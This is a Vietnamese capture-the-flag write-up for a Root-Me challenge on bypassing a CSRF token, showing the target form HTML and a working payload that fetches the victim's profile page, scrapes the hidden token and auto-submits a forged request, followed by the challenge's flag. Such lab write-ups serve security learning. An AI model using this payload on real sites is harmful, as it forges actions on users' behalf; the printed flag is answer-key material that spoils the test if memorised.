

Write up challenge CSRF - token bypass

Tác giả:

- Nguyễn Mỹ Quỳnh

Link Challenge

Truy cập challenge ta thấy bài này có cấu trúc tương tự CSRF - 0 protection. Nhưng khi inspect ta thấy được chỗ khác là có thêm token được tạo bởi server đặt ẩn vào mã html và làm mới theo thời gian thực để kiểm tra tránh tấn công CSRF.

```
1 <html>
2 <head>
3 <title>Intranet v2</title>
4 </head>
5 <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe'
6 <a href="?action=contact">Contact</a> | <a href="?action=profile">Profile</a> <!--| <a href="?action=search">Search</a> -->| <a h
7 <br><br><div>
8 <fieldset><legend>Update Profile</legend>
9 <form id="profile" action="?action=profile" method="post" enctype="multipart/form-data">
10 <div>
11 <label>Username:</label>
12 <input id="username" type="text" name="username" value="q">
13 </div>
14 <br>
15 <div>
16 <label>Status:</label>
17 <input id="status" type="checkbox" name="status" disabled >
18 </div>
19 <br>
20 <input id="token" type="hidden" name="token" value="35ec8c7d9dd2416357c8ed6691e9ecf4" />
21 <button type="submit">Submit</button>
22 </form></fieldset>
23 </div>
24 </body>
25 </html>
```

```
1 <html>
2 <head>
3 <title>Intranet v2</title>
4 </head>
5 <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></if
6 <a href="?action=contact">Contact</a> | <a href="?action=profile">Profile</a> <!--| <a href="?action=search">Search</a> -->| <a href="?action=private">Private</a> | <a href="?action=logo
7 <br><br><div>
8 <fieldset><legend>Update Profile</legend>
9 <form id="profile" action="?action=profile" method="post" enctype="multipart/form-data">
10 <div>
11 <label>Username:</label>
12 <input id="username" type="text" name="username" value="q">
13 </div>
14 <br>
15 <div>
16 <label>Status:</label>
17 <input id="status" type="checkbox" name="status" disabled >
18 </div>
19 <br>
20 <input id="token" type="hidden" name="token" value="d43ad4eb1f5c83c00431c76289e08a10" />
21 <button type="submit">Submit</button>
22 </form></fieldset>
23 </div>
24 </body>
25 </html>
```

Từ đó ý tưởng là ta sẽ xây dựng đoạn code tương tự CSRF - 0 protection, nhưng thêm đoạn script để truy cập vào trang Profile và lấy token

```
<form name="csrf" action="http://challenge01.root-me.org/web-client/ch23/?
action=profile" method="post" enctype="multipart/form-data">
  <input type="hidden" name="username" value="q" />
  <input type="hidden" name="status" value="on" />
  <input id="admin-token" type="hidden" name="token" value="" />
</form>
<script>
  var request = new XMLHttpRequest();
```

```
request.open("GET", decodeURIComponent("http://challenge01.root-me.org/web-client/ch23/?action=profile"), false);
request.send(null);
var response = request.responseText;
var groups = response.match("token\" value=\"(.*?)\"");
var token = groups[1]; document.getElementById("admin-token").value = token;
document.csrf.submit();
</script>
```

Có được flag:



[Contact](#) | [Profile](#) | [Private](#) | [Logout](#)

Good job dude, flag is : Byp4ss_CSRF_T0k3n-w1th-XSS

Submit thành công

CSRF - token bypass

45 Points

Cross-Site Request Forgery

Author

sambecks, 18 February 2016

Level



Statement

Activate your account to access intranet.

[Start the challenge](#)

3 related ressource(s)

- les attaques CSRF (Exploitation - Web)
- CSRF: Attack and defense (Exploitation - Web)
- OWASP Cross-site Request Forgery CSRF (Exploitation - Web)

Validation

Well done, you won 45 Points

Don't forget to give your opinion on the challenge by voting ;-)

Flag: Byp4ss_CSRF_T0k3n-w1th-XSS